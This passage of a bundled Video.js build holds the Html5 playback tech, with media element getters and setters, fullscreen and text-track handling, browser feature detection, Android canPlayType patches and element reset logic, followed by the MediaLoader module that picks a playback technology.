  12177. var removeTracks = [];
  12178. if (!elTracks) {
  12179. return;
  12180. }
  12181. for (var i = 0; i < techTracks.length; i++) {
  12182. var techTrack = techTracks[i];
  12183. var found = false;
  12184. for (var j = 0; j < elTracks.length; j++) {
  12185. if (elTracks[j] === techTrack) {
  12186. found = true;
  12187. break;
  12188. }
  12189. }
  12190. if (!found) {
  12191. removeTracks.push(techTrack);
  12192. }
  12193. }
  12194. for (var i = 0; i < removeTracks.length; i++) {
  12195. var _track = removeTracks[i];
  12196. techTracks.removeTrack_(_track);
  12197. }
  12198. };
  12199. Html5.prototype.removeOldTextTracks_ = function removeOldTextTracks_() {
  12200. var techTracks = this.textTracks();
  12201. var elTracks = this.el().textTracks;
  12202. this.removeOldTracks_(techTracks, elTracks);
  12203. };
  12204. Html5.prototype.removeOldAudioTracks_ = function removeOldAudioTracks_() {
  12205. var techTracks = this.audioTracks();
  12206. var elTracks = this.el().audioTracks;
  12207. this.removeOldTracks_(techTracks, elTracks);
  12208. };
  12209. Html5.prototype.removeOldVideoTracks_ = function removeOldVideoTracks_() {
  12210. var techTracks = this.videoTracks();
  12211. var elTracks = this.el().videoTracks;
  12212. this.removeOldTracks_(techTracks, elTracks);
  12213. };
  12214. /**
  12215. * Play for html5 tech
  12216. *
  12217. * @method play
  12218. */
  12219. Html5.prototype.play = function play() {
  12220. var playPromise = this.el_.play();
  12221. // Catch/silence error when a pause interrupts a play request
  12222. // on browsers which return a promise
  12223. if (playPromise !== undefined && typeof playPromise.then === 'function') {
  12224. playPromise.then(null, function (e) {});
  12225. }
  12226. };
  12227. /**
  12228. * Pause for html5 tech
  12229. *
  12230. * @method pause
  12231. */
  12232. Html5.prototype.pause = function pause() {
  12233. this.el_.pause();
  12234. };
  12235. /**
  12236. * Paused for html5 tech
  12237. *
  12238. * @return {Boolean}
  12239. * @method paused
  12240. */
  12241. Html5.prototype.paused = function paused() {
  12242. return this.el_.paused;
  12243. };
  12244. /**
  12245. * Get current time
  12246. *
  12247. * @return {Number}
  12248. * @method currentTime
  12249. */
  12250. Html5.prototype.currentTime = function currentTime() {
  12251. return this.el_.currentTime;
  12252. };
  12253. /**
  12254. * Set current time
  12255. *
  12256. * @param {Number} seconds Current time of video
  12257. * @method setCurrentTime
  12258. */
  12259. Html5.prototype.setCurrentTime = function setCurrentTime(seconds) {
  12260. try {
  12261. this.el_.currentTime = seconds;
  12262. } catch (e) {
  12263. _utilsLogJs2['default'](e, 'Video is not ready. (Video.js)');
  12264. // this.warning(VideoJS.warnings.videoNotReady);
  12265. }
  12266. };
  12267. /**
  12268. * Get duration
  12269. *
  12270. * @return {Number}
  12271. * @method duration
  12272. */
  12273. Html5.prototype.duration = function duration() {
  12274. return this.el_.duration || 0;
  12275. };
  12276. /**
  12277. * Get a TimeRange object that represents the intersection
  12278. * of the time ranges for which the user agent has all
  12279. * relevant media
  12280. *
  12281. * @return {TimeRangeObject}
  12282. * @method buffered
  12283. */
  12284. Html5.prototype.buffered = function buffered() {
  12285. return this.el_.buffered;
  12286. };
  12287. /**
  12288. * Get volume level
  12289. *
  12290. * @return {Number}
  12291. * @method volume
  12292. */
  12293. Html5.prototype.volume = function volume() {
  12294. return this.el_.volume;
  12295. };
  12296. /**
  12297. * Set volume level
  12298. *
  12299. * @param {Number} percentAsDecimal Volume percent as a decimal
  12300. * @method setVolume
  12301. */
  12302. Html5.prototype.setVolume = function setVolume(percentAsDecimal) {
  12303. this.el_.volume = percentAsDecimal;
  12304. };
  12305. /**
  12306. * Get if muted
  12307. *
  12308. * @return {Boolean}
  12309. * @method muted
  12310. */
  12311. Html5.prototype.muted = function muted() {
  12312. return this.el_.muted;
  12313. };
  12314. /**
  12315. * Set muted
  12316. *
  12317. * @param {Boolean} If player is to be muted or note
  12318. * @method setMuted
  12319. */
  12320. Html5.prototype.setMuted = function setMuted(muted) {
  12321. this.el_.muted = muted;
  12322. };
  12323. /**
  12324. * Get player width
  12325. *
  12326. * @return {Number}
  12327. * @method width
  12328. */
  12329. Html5.prototype.width = function width() {
  12330. return this.el_.offsetWidth;
  12331. };
  12332. /**
  12333. * Get player height
  12334. *
  12335. * @return {Number}
  12336. * @method height
  12337. */
  12338. Html5.prototype.height = function height() {
  12339. return this.el_.offsetHeight;
  12340. };
  12341. /**
  12342. * Get if there is fullscreen support
  12343. *
  12344. * @return {Boolean}
  12345. * @method supportsFullScreen
  12346. */
  12347. Html5.prototype.supportsFullScreen = function supportsFullScreen() {
  12348. if (typeof this.el_.webkitEnterFullScreen === 'function') {
  12349. var userAgent = _globalWindow2['default'].navigator.userAgent;
  12350. // Seems to be broken in Chromium/Chrome && Safari in Leopard
  12351. if (/Android/.test(userAgent) || !/Chrome|Mac OS X 10.5/.test(userAgent)) {
  12352. return true;
  12353. }
  12354. }
  12355. return false;
  12356. };
  12357. /**
  12358. * Request to enter fullscreen
  12359. *
  12360. * @method enterFullScreen
  12361. */
  12362. Html5.prototype.enterFullScreen = function enterFullScreen() {
  12363. var video = this.el_;
  12364. if ('webkitDisplayingFullscreen' in video) {
  12365. this.one('webkitbeginfullscreen', function () {
  12366. this.one('webkitendfullscreen', function () {
  12367. this.trigger('fullscreenchange', { isFullscreen: false });
  12368. });
  12369. this.trigger('fullscreenchange', { isFullscreen: true });
  12370. });
  12371. }
  12372. if (video.paused && video.networkState <= video.HAVE_METADATA) {
  12373. // attempt to prime the video element for programmatic access
  12374. // this isn't necessary on the desktop but shouldn't hurt
  12375. this.el_.play();
  12376. // playing and pausing synchronously during the transition to fullscreen
  12377. // can get iOS ~6.1 devices into a play/pause loop
  12378. this.setTimeout(function () {
  12379. video.pause();
  12380. video.webkitEnterFullScreen();
  12381. }, 0);
  12382. } else {
  12383. video.webkitEnterFullScreen();
  12384. }
  12385. };
  12386. /**
  12387. * Request to exit fullscreen
  12388. *
  12389. * @method exitFullScreen
  12390. */
  12391. Html5.prototype.exitFullScreen = function exitFullScreen() {
  12392. this.el_.webkitExitFullScreen();
  12393. };
  12394. /**
  12395. * Get/set video
  12396. *
  12397. * @param {Object=} src Source object
  12398. * @return {Object}
  12399. * @method src
  12400. */
  12401. Html5.prototype.src = function src(_src) {
  12402. if (_src === undefined) {
  12403. return this.el_.src;
  12404. } else {
  12405. // Setting src through `src` instead of `setSrc` will be deprecated
  12406. this.setSrc(_src);
  12407. }
  12408. };
  12409. /**
  12410. * Set video
  12411. *
  12412. * @param {Object} src Source object
  12413. * @deprecated
  12414. * @method setSrc
  12415. */
  12416. Html5.prototype.setSrc = function setSrc(src) {
  12417. this.el_.src = src;
  12418. };
  12419. /**
  12420. * Load media into player
  12421. *
  12422. * @method load
  12423. */
  12424. Html5.prototype.load = function load() {
  12425. this.el_.load();
  12426. };
  12427. /**
  12428. * Reset the tech. Removes all sources and calls `load`.
  12429. *
  12430. * @method reset
  12431. */
  12432. Html5.prototype.reset = function reset() {
  12433. Html5.resetMediaElement(this.el_);
  12434. };
  12435. /**
  12436. * Get current source
  12437. *
  12438. * @return {Object}
  12439. * @method currentSrc
  12440. */
  12441. Html5.prototype.currentSrc = function currentSrc() {
  12442. if (this.currentSource_) {
  12443. return this.currentSource_.src;
  12444. } else {
  12445. return this.el_.currentSrc;
  12446. }
  12447. };
  12448. /**
  12449. * Get poster
  12450. *
  12451. * @return {String}
  12452. * @method poster
  12453. */
  12454. Html5.prototype.poster = function poster() {
  12455. return this.el_.poster;
  12456. };
  12457. /**
  12458. * Set poster
  12459. *
  12460. * @param {String} val URL to poster image
  12461. * @method
  12462. */
  12463. Html5.prototype.setPoster = function setPoster(val) {
  12464. this.el_.poster = val;
  12465. };
  12466. /**
  12467. * Get preload attribute
  12468. *
  12469. * @return {String}
  12470. * @method preload
  12471. */
  12472. Html5.prototype.preload = function preload() {
  12473. return this.el_.preload;
  12474. };
  12475. /**
  12476. * Set preload attribute
  12477. *
  12478. * @param {String} val Value for preload attribute
  12479. * @method setPreload
  12480. */
  12481. Html5.prototype.setPreload = function setPreload(val) {
  12482. this.el_.preload = val;
  12483. };
  12484. /**
  12485. * Get autoplay attribute
  12486. *
  12487. * @return {String}
  12488. * @method autoplay
  12489. */
  12490. Html5.prototype.autoplay = function autoplay() {
  12491. return this.el_.autoplay;
  12492. };
  12493. /**
  12494. * Set autoplay attribute
  12495. *
  12496. * @param {String} val Value for preload attribute
  12497. * @method setAutoplay
  12498. */
  12499. Html5.prototype.setAutoplay = function setAutoplay(val) {
  12500. this.el_.autoplay = val;
  12501. };
  12502. /**
  12503. * Get controls attribute
  12504. *
  12505. * @return {String}
  12506. * @method controls
  12507. */
  12508. Html5.prototype.controls = function controls() {
  12509. return this.el_.controls;
  12510. };
  12511. /**
  12512. * Set controls attribute
  12513. *
  12514. * @param {String} val Value for controls attribute
  12515. * @method setControls
  12516. */
  12517. Html5.prototype.setControls = function setControls(val) {
  12518. this.el_.controls = !!val;
  12519. };
  12520. /**
  12521. * Get loop attribute
  12522. *
  12523. * @return {String}
  12524. * @method loop
  12525. */
  12526. Html5.prototype.loop = function loop() {
  12527. return this.el_.loop;
  12528. };
  12529. /**
  12530. * Set loop attribute
  12531. *
  12532. * @param {String} val Value for loop attribute
  12533. * @method setLoop
  12534. */
  12535. Html5.prototype.setLoop = function setLoop(val) {
  12536. this.el_.loop = val;
  12537. };
  12538. /**
  12539. * Get error value
  12540. *
  12541. * @return {String}
  12542. * @method error
  12543. */
  12544. Html5.prototype.error = function error() {
  12545. return this.el_.error;
  12546. };
  12547. /**
  12548. * Get whether or not the player is in the "seeking" state
  12549. *
  12550. * @return {Boolean}
  12551. * @method seeking
  12552. */
  12553. Html5.prototype.seeking = function seeking() {
  12554. return this.el_.seeking;
  12555. };
  12556. /**
  12557. * Get a TimeRanges object that represents the
  12558. * ranges of the media resource to which it is possible
  12559. * for the user agent to seek.
  12560. *
  12561. * @return {TimeRangeObject}
  12562. * @method seekable
  12563. */
  12564. Html5.prototype.seekable = function seekable() {
  12565. return this.el_.seekable;
  12566. };
  12567. /**
  12568. * Get if video ended
  12569. *
  12570. * @return {Boolean}
  12571. * @method ended
  12572. */
  12573. Html5.prototype.ended = function ended() {
  12574. return this.el_.ended;
  12575. };
  12576. /**
  12577. * Get the value of the muted content attribute
  12578. * This attribute has no dynamic effect, it only
  12579. * controls the default state of the element
  12580. *
  12581. * @return {Boolean}
  12582. * @method defaultMuted
  12583. */
  12584. Html5.prototype.defaultMuted = function defaultMuted() {
  12585. return this.el_.defaultMuted;
  12586. };
  12587. /**
  12588. * Get desired speed at which the media resource is to play
  12589. *
  12590. * @return {Number}
  12591. * @method playbackRate
  12592. */
  12593. Html5.prototype.playbackRate = function playbackRate() {
  12594. return this.el_.playbackRate;
  12595. };
  12596. /**
  12597. * Returns a TimeRanges object that represents the ranges of the
  12598. * media resource that the user agent has played.
  12599. * @return {TimeRangeObject} the range of points on the media
  12600. * timeline that has been reached through normal playback
  12601. * @see https://html.spec.whatwg.org/multipage/embedded-content.html#dom-media-played
  12602. */
  12603. Html5.prototype.played = function played() {
  12604. return this.el_.played;
  12605. };
  12606. /**
  12607. * Set desired speed at which the media resource is to play
  12608. *
  12609. * @param {Number} val Speed at which the media resource is to play
  12610. * @method setPlaybackRate
  12611. */
  12612. Html5.prototype.setPlaybackRate = function setPlaybackRate(val) {
  12613. this.el_.playbackRate = val;
  12614. };
  12615. /**
  12616. * Get the current state of network activity for the element, from
  12617. * the list below
  12618. * NETWORK_EMPTY (numeric value 0)
  12619. * NETWORK_IDLE (numeric value 1)
  12620. * NETWORK_LOADING (numeric value 2)
  12621. * NETWORK_NO_SOURCE (numeric value 3)
  12622. *
  12623. * @return {Number}
  12624. * @method networkState
  12625. */
  12626. Html5.prototype.networkState = function networkState() {
  12627. return this.el_.networkState;
  12628. };
  12629. /**
  12630. * Get a value that expresses the current state of the element
  12631. * with respect to rendering the current playback position, from
  12632. * the codes in the list below
  12633. * HAVE_NOTHING (numeric value 0)
  12634. * HAVE_METADATA (numeric value 1)
  12635. * HAVE_CURRENT_DATA (numeric value 2)
  12636. * HAVE_FUTURE_DATA (numeric value 3)
  12637. * HAVE_ENOUGH_DATA (numeric value 4)
  12638. *
  12639. * @return {Number}
  12640. * @method readyState
  12641. */
  12642. Html5.prototype.readyState = function readyState() {
  12643. return this.el_.readyState;
  12644. };
  12645. /**
  12646. * Get width of video
  12647. *
  12648. * @return {Number}
  12649. * @method videoWidth
  12650. */
  12651. Html5.prototype.videoWidth = function videoWidth() {
  12652. return this.el_.videoWidth;
  12653. };
  12654. /**
  12655. * Get height of video
  12656. *
  12657. * @return {Number}
  12658. * @method videoHeight
  12659. */
  12660. Html5.prototype.videoHeight = function videoHeight() {
  12661. return this.el_.videoHeight;
  12662. };
  12663. /**
  12664. * Get text tracks
  12665. *
  12666. * @return {TextTrackList}
  12667. * @method textTracks
  12668. */
  12669. Html5.prototype.textTracks = function textTracks() {
  12670. return _Tech.prototype.textTracks.call(this);
  12671. };
  12672. /**
  12673. * Creates and returns a text track object
  12674. *
  12675. * @param {String} kind Text track kind (subtitles, captions, descriptions
  12676. * chapters and metadata)
  12677. * @param {String=} label Label to identify the text track
  12678. * @param {String=} language Two letter language abbreviation
  12679. * @return {TextTrackObject}
  12680. * @method addTextTrack
  12681. */
  12682. Html5.prototype.addTextTrack = function addTextTrack(kind, label, language) {
  12683. if (!this['featuresNativeTextTracks']) {
  12684. return _Tech.prototype.addTextTrack.call(this, kind, label, language);
  12685. }
  12686. return this.el_.addTextTrack(kind, label, language);
  12687. };
  12688. /**
  12689. * Creates a remote text track object and returns a html track element
  12690. *
  12691. * @param {Object} options The object should contain values for
  12692. * kind, language, label and src (location of the WebVTT file)
  12693. * @return {HTMLTrackElement}
  12694. * @method addRemoteTextTrack
  12695. */
  12696. Html5.prototype.addRemoteTextTrack = function addRemoteTextTrack() {
  12697. var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
  12698. if (!this['featuresNativeTextTracks']) {
  12699. return _Tech.prototype.addRemoteTextTrack.call(this, options);
  12700. }
  12701. var htmlTrackElement = _globalDocument2['default'].createElement('track');
  12702. if (options.kind) {
  12703. htmlTrackElement.kind = options.kind;
  12704. }
  12705. if (options.label) {
  12706. htmlTrackElement.label = options.label;
  12707. }
  12708. if (options.language || options.srclang) {
  12709. htmlTrackElement.srclang = options.language || options.srclang;
  12710. }
  12711. if (options['default']) {
  12712. htmlTrackElement['default'] = options['default'];
  12713. }
  12714. if (options.id) {
  12715. htmlTrackElement.id = options.id;
  12716. }
  12717. if (options.src) {
  12718. htmlTrackElement.src = options.src;
  12719. }
  12720. this.el().appendChild(htmlTrackElement);
  12721. // store HTMLTrackElement and TextTrack to remote list
  12722. this.remoteTextTrackEls().addTrackElement_(htmlTrackElement);
  12723. this.remoteTextTracks().addTrack_(htmlTrackElement.track);
  12724. return htmlTrackElement;
  12725. };
  12726. /**
  12727. * Remove remote text track from TextTrackList object
  12728. *
  12729. * @param {TextTrackObject} track Texttrack object to remove
  12730. * @method removeRemoteTextTrack
  12731. */
  12732. Html5.prototype.removeRemoteTextTrack = function removeRemoteTextTrack(track) {
  12733. if (!this['featuresNativeTextTracks']) {
  12734. return _Tech.prototype.removeRemoteTextTrack.call(this, track);
  12735. }
  12736. var tracks = undefined,
  12737. i = undefined;
  12738. var trackElement = this.remoteTextTrackEls().getTrackElementByTrack_(track);
  12739. // remove HTMLTrackElement and TextTrack from remote list
  12740. this.remoteTextTrackEls().removeTrackElement_(trackElement);
  12741. this.remoteTextTracks().removeTrack_(track);
  12742. tracks = this.$$('track');
  12743. i = tracks.length;
  12744. while (i--) {
  12745. if (track === tracks[i] || track === tracks[i].track) {
  12746. this.el().removeChild(tracks[i]);
  12747. }
  12748. }
  12749. };
  12750. return Html5;
  12751. })(_techJs2['default']);
  12752. Html5.TEST_VID = _globalDocument2['default'].createElement('video');
  12753. var track = _globalDocument2['default'].createElement('track');
  12754. track.kind = 'captions';
  12755. track.srclang = 'en';
  12756. track.label = 'English';
  12757. Html5.TEST_VID.appendChild(track);
  12758. /*
  12759. * Check if HTML5 video is supported by this browser/device
  12760. *
  12761. * @return {Boolean}
  12762. */
  12763. Html5.isSupported = function () {
  12764. // IE9 with no Media Player is a LIAR! (#984)
  12765. try {
  12766. Html5.TEST_VID['volume'] = 0.5;
  12767. } catch (e) {
  12768. return false;
  12769. }
  12770. return !!Html5.TEST_VID.canPlayType;
  12771. };
  12772. // Add Source Handler pattern functions to this tech
  12773. _techJs2['default'].withSourceHandlers(Html5);
  12774. /*
  12775. * The default native source handler.
  12776. * This simply passes the source to the video element. Nothing fancy.
  12777. *
  12778. * @param {Object} source The source object
  12779. * @param {Html5} tech The instance of the HTML5 tech
  12780. */
  12781. Html5.nativeSourceHandler = {};
  12782. /*
  12783. * Check if the video element can play the given videotype
  12784. *
  12785. * @param {String} type The mimetype to check
  12786. * @return {String} 'probably', 'maybe', or '' (empty string)
  12787. */
  12788. Html5.nativeSourceHandler.canPlayType = function (type) {
  12789. // IE9 on Windows 7 without MediaPlayer throws an error here
  12790. // https://github.com/videojs/video.js/issues/519
  12791. try {
  12792. return Html5.TEST_VID.canPlayType(type);
  12793. } catch (e) {
  12794. return '';
  12795. }
  12796. };
  12797. /*
  12798. * Check if the video element can handle the source natively
  12799. *
  12800. * @param {Object} source The source object
  12801. * @param {Object} options The options passed to the tech
  12802. * @return {String} 'probably', 'maybe', or '' (empty string)
  12803. */
  12804. Html5.nativeSourceHandler.canHandleSource = function (source, options) {
  12805. var match, ext;
  12806. // If a type was provided we should rely on that
  12807. if (source.type) {
  12808. return Html5.nativeSourceHandler.canPlayType(source.type);
  12809. } else if (source.src) {
  12810. // If no type, fall back to checking 'video/[EXTENSION]'
  12811. ext = Url.getFileExtension(source.src);
  12812. return Html5.nativeSourceHandler.canPlayType('video/' + ext);
  12813. }
  12814. return '';
  12815. };
  12816. /*
  12817. * Pass the source to the video element
  12818. * Adaptive source handlers will have more complicated workflows before passing
  12819. * video data to the video element
  12820. *
  12821. * @param {Object} source The source object
  12822. * @param {Html5} tech The instance of the Html5 tech
  12823. * @param {Object} options The options to pass to the source
  12824. */
  12825. Html5.nativeSourceHandler.handleSource = function (source, tech, options) {
  12826. tech.setSrc(source.src);
  12827. };
  12828. /*
  12829. * Clean up the source handler when disposing the player or switching sources..
  12830. * (no cleanup is needed when supporting the format natively)
  12831. */
  12832. Html5.nativeSourceHandler.dispose = function () {};
  12833. // Register the native source handler
  12834. Html5.registerSourceHandler(Html5.nativeSourceHandler);
  12835. /*
  12836. * Check if the volume can be changed in this browser/device.
  12837. * Volume cannot be changed in a lot of mobile devices.
  12838. * Specifically, it can't be changed from 1 on iOS.
  12839. *
  12840. * @return {Boolean}
  12841. */
  12842. Html5.canControlVolume = function () {
  12843. // IE will error if Windows Media Player not installed #3315
  12844. try {
  12845. var volume = Html5.TEST_VID.volume;
  12846. Html5.TEST_VID.volume = volume / 2 + 0.1;
  12847. return volume !== Html5.TEST_VID.volume;
  12848. } catch (e) {
  12849. return false;
  12850. }
  12851. };
  12852. /*
  12853. * Check if playbackRate is supported in this browser/device.
  12854. *
  12855. * @return {Boolean}
  12856. */
  12857. Html5.canControlPlaybackRate = function () {
  12858. // Playback rate API is implemented in Android Chrome, but doesn't do anything
  12859. // https://github.com/videojs/video.js/issues/3180
  12860. if (browser.IS_ANDROID && browser.IS_CHROME) {
  12861. return false;
  12862. }
  12863. // IE will error if Windows Media Player not installed #3315
  12864. try {
  12865. var playbackRate = Html5.TEST_VID.playbackRate;
  12866. Html5.TEST_VID.playbackRate = playbackRate / 2 + 0.1;
  12867. return playbackRate !== Html5.TEST_VID.playbackRate;
  12868. } catch (e) {
  12869. return false;
  12870. }
  12871. };
  12872. /*
  12873. * Check to see if native text tracks are supported by this browser/device
  12874. *
  12875. * @return {Boolean}
  12876. */
  12877. Html5.supportsNativeTextTracks = function () {
  12878. var supportsTextTracks;
  12879. // Figure out native text track support
  12880. // If mode is a number, we cannot change it because it'll disappear from view.
  12881. // Browsers with numeric modes include IE10 and older (<=2013) samsung android models.
  12882. // Firefox isn't playing nice either with modifying the mode
  12883. // TODO: Investigate firefox: https://github.com/videojs/video.js/issues/1862
  12884. supportsTextTracks = !!Html5.TEST_VID.textTracks;
  12885. if (supportsTextTracks && Html5.TEST_VID.textTracks.length > 0) {
  12886. supportsTextTracks = typeof Html5.TEST_VID.textTracks[0]['mode'] !== 'number';
  12887. }
  12888. if (supportsTextTracks && browser.IS_FIREFOX) {
  12889. supportsTextTracks = false;
  12890. }
  12891. if (supportsTextTracks && !('onremovetrack' in Html5.TEST_VID.textTracks)) {
  12892. supportsTextTracks = false;
  12893. }
  12894. return supportsTextTracks;
  12895. };
  12896. /*
  12897. * Check to see if native video tracks are supported by this browser/device
  12898. *
  12899. * @return {Boolean}
  12900. */
  12901. Html5.supportsNativeVideoTracks = function () {
  12902. var supportsVideoTracks = !!Html5.TEST_VID.videoTracks;
  12903. return supportsVideoTracks;
  12904. };
  12905. /*
  12906. * Check to see if native audio tracks are supported by this browser/device
  12907. *
  12908. * @return {Boolean}
  12909. */
  12910. Html5.supportsNativeAudioTracks = function () {
  12911. var supportsAudioTracks = !!Html5.TEST_VID.audioTracks;
  12912. return supportsAudioTracks;
  12913. };
  12914. /**
  12915. * An array of events available on the Html5 tech.
  12916. *
  12917. * @private
  12918. * @type {Array}
  12919. */
  12920. Html5.Events = ['loadstart', 'suspend', 'abort', 'error', 'emptied', 'stalled', 'loadedmetadata', 'loadeddata', 'canplay', 'canplaythrough', 'playing', 'waiting', 'seeking', 'seeked', 'ended', 'durationchange', 'timeupdate', 'progress', 'play', 'pause', 'ratechange', 'volumechange'];
  12921. /*
  12922. * Set the tech's volume control support status
  12923. *
  12924. * @type {Boolean}
  12925. */
  12926. Html5.prototype['featuresVolumeControl'] = Html5.canControlVolume();
  12927. /*
  12928. * Set the tech's playbackRate support status
  12929. *
  12930. * @type {Boolean}
  12931. */
  12932. Html5.prototype['featuresPlaybackRate'] = Html5.canControlPlaybackRate();
  12933. /*
  12934. * Set the tech's status on moving the video element.
  12935. * In iOS, if you move a video element in the DOM, it breaks video playback.
  12936. *
  12937. * @type {Boolean}
  12938. */
  12939. Html5.prototype['movingMediaElementInDOM'] = !browser.IS_IOS;
  12940. /*
  12941. * Set the the tech's fullscreen resize support status.
  12942. * HTML video is able to automatically resize when going to fullscreen.
  12943. * (No longer appears to be used. Can probably be removed.)
  12944. */
  12945. Html5.prototype['featuresFullscreenResize'] = true;
  12946. /*
  12947. * Set the tech's progress event support status
  12948. * (this disables the manual progress events of the Tech)
  12949. */
  12950. Html5.prototype['featuresProgressEvents'] = true;
  12951. /*
  12952. * Sets the tech's status on native text track support
  12953. *
  12954. * @type {Boolean}
  12955. */
  12956. Html5.prototype['featuresNativeTextTracks'] = Html5.supportsNativeTextTracks();
  12957. /**
  12958. * Sets the tech's status on native text track support
  12959. *
  12960. * @type {Boolean}
  12961. */
  12962. Html5.prototype['featuresNativeVideoTracks'] = Html5.supportsNativeVideoTracks();
  12963. /**
  12964. * Sets the tech's status on native audio track support
  12965. *
  12966. * @type {Boolean}
  12967. */
  12968. Html5.prototype['featuresNativeAudioTracks'] = Html5.supportsNativeAudioTracks();
  12969. // HTML5 Feature detection and Device Fixes --------------------------------- //
  12970. var canPlayType = undefined;
  12971. var mpegurlRE = /^application\/(?:x-|vnd\.apple\.)mpegurl/i;
  12972. var mp4RE = /^video\/mp4/i;
  12973. Html5.patchCanPlayType = function () {
  12974. // Android 4.0 and above can play HLS to some extent but it reports being unable to do so
  12975. if (browser.ANDROID_VERSION >= 4.0) {
  12976. if (!canPlayType) {
  12977. canPlayType = Html5.TEST_VID.constructor.prototype.canPlayType;
  12978. }
  12979. Html5.TEST_VID.constructor.prototype.canPlayType = function (type) {
  12980. if (type && mpegurlRE.test(type)) {
  12981. return 'maybe';
  12982. }
  12983. return canPlayType.call(this, type);
  12984. };
  12985. }
  12986. // Override Android 2.2 and less canPlayType method which is broken
  12987. if (browser.IS_OLD_ANDROID) {
  12988. if (!canPlayType) {
  12989. canPlayType = Html5.TEST_VID.constructor.prototype.canPlayType;
  12990. }
  12991. Html5.TEST_VID.constructor.prototype.canPlayType = function (type) {
  12992. if (type && mp4RE.test(type)) {
  12993. return 'maybe';
  12994. }
  12995. return canPlayType.call(this, type);
  12996. };
  12997. }
  12998. };
  12999. Html5.unpatchCanPlayType = function () {
  13000. var r = Html5.TEST_VID.constructor.prototype.canPlayType;
  13001. Html5.TEST_VID.constructor.prototype.canPlayType = canPlayType;
  13002. canPlayType = null;
  13003. return r;
  13004. };
  13005. // by default, patch the video element
  13006. Html5.patchCanPlayType();
  13007. Html5.disposeMediaElement = function (el) {
  13008. if (!el) {
  13009. return;
  13010. }
  13011. if (el.parentNode) {
  13012. el.parentNode.removeChild(el);
  13013. }
  13014. // remove any child track or source nodes to prevent their loading
  13015. while (el.hasChildNodes()) {
  13016. el.removeChild(el.firstChild);
  13017. }
  13018. // remove any src reference. not setting `src=''` because that causes a warning
  13019. // in firefox
  13020. el.removeAttribute('src');
  13021. // force the media element to update its loading state by calling load()
  13022. // however IE on Windows 7N has a bug that throws an error so need a try/catch (#793)
  13023. if (typeof el.load === 'function') {
  13024. // wrapping in an iife so it's not deoptimized (#1060#discussion_r10324473)
  13025. (function () {
  13026. try {
  13027. el.load();
  13028. } catch (e) {
  13029. // not supported
  13030. }
  13031. })();
  13032. }
  13033. };
  13034. Html5.resetMediaElement = function (el) {
  13035. if (!el) {
  13036. return;
  13037. }
  13038. var sources = el.querySelectorAll('source');
  13039. var i = sources.length;
  13040. while (i--) {
  13041. el.removeChild(sources[i]);
  13042. }
  13043. // remove any src reference.
  13044. // not setting `src=''` because that throws an error
  13045. el.removeAttribute('src');
  13046. if (typeof el.load === 'function') {
  13047. // wrapping in an iife so it's not deoptimized (#1060#discussion_r10324473)
  13048. (function () {
  13049. try {
  13050. el.load();
  13051. } catch (e) {}
  13052. })();
  13053. }
  13054. };
  13055. _component2['default'].registerComponent('Html5', Html5);
  13056. _techJs2['default'].registerTech('Html5', Html5);
  13057. exports['default'] = Html5;
  13058. module.exports = exports['default'];
  13059. },{"../../../src/js/tracks/text-track.js":134,"../component":67,"../utils/browser.js":140,"../utils/dom.js":142,"../utils/fn.js":144,"../utils/log.js":147,"../utils/merge-options.js":148,"../utils/to-title-case.js":151,"../utils/url.js":152,"./tech.js":124,"global/document":1,"global/window":2,"object.assign":45,"tsml":55}],123:[function(_dereq_,module,exports){
  13060. /**
  13061. * @file loader.js
  13062. */
  13063. 'use strict';
  13064. exports.__esModule = true;
  13065. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  13066. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  13067. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  13068. var _componentJs = _dereq_('../component.js');
  13069. var _componentJs2 = _interopRequireDefault(_componentJs);
  13070. var _techJs = _dereq_('./tech.js');
  13071. var _techJs2 = _interopRequireDefault(_techJs);
  13072. var _globalWindow = _dereq_('global/window');
  13073. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  13074. var _utilsToTitleCaseJs = _dereq_('../utils/to-title-case.js');
  13075. var _utilsToTitleCaseJs2 = _interopRequireDefault(_utilsToTitleCaseJs);
  13076. /**
  13077. * The Media Loader is the component that decides which playback technology to load
  13078. * when the player is initialized.
  13079. *
  13080. * @param {Object} player Main Player
  13081. * @param {Object=} options Object of option names and values
  13082. * @param {Function=} ready Ready callback function
  13083. * @extends Component
  13084. * @class MediaLoader
  13085. */
  13086. var MediaLoader = (function (_Component) {
  13087. _inherits(MediaLoader, _Component);
  13088. function MediaLoader(player, options, ready) {
  13089. _classCallCheck(this, MediaLoader);
  13090. _Component.call(this, player, options, ready);
  13091. // If there are no sources when the player is initialized,
  13092. // load the first supported playback technology.
  13093. if (!options.playerOptions['sources'] || options.playerOptions['sources'].length === 0) {
  13094. for (var i = 0, j = options.playerOptions['techOrder']; i < j.length; i++) {
  13095. var techName = _utilsToTitleCaseJs2['default'](j[i]);
  13096. var tech = _techJs2['default'].getTech(techName);
  13097. // Support old behavior of techs being registered as components.
  13098. // Remove once that deprecated behavior is removed.
  13099. if (!techName) {
  13100. tech = _componentJs2['default'].getComponent(techName);
  13101. }
  13102. // Check if the browser supports this technology
  13103. if (tech && tech.isSupported()) {
  13104. player.loadTech_(techName);
  13105. break;
  13106. }
  13107. }
  13108. } else {
  13109. // // Loop through playback technologies (HTML5, Flash) and check for support.
  13110. // // Then load the best source.
  13111. // // A few assumptions here:
  13112. // // All playback technologies respect preload false.
  13113. player.src(options.playerOptions['sources']);
  13114. }
  13115. }
  13116. return MediaLoader;
  13117. })(_componentJs2['default']);
  13118. _componentJs2['default'].registerComponent('MediaLoader', MediaLoader);
  13119. exports['default'] = MediaLoader;
  13120. module.exports = exports['default'];
  13121. },{"../component.js":67,"../utils/to-title-case.js":151,"./tech.js":124,"global/window":2}],124:[function(_dereq_,module,exports){
  13122. /**
  13123. * @file tech.js
  13124. * Media Technology Controller - Base class for media playback
  13125. * technology controllers like Flash and HTML5
  13126. */
  13127. 'use strict';
  13128. exports.__esModule = true;
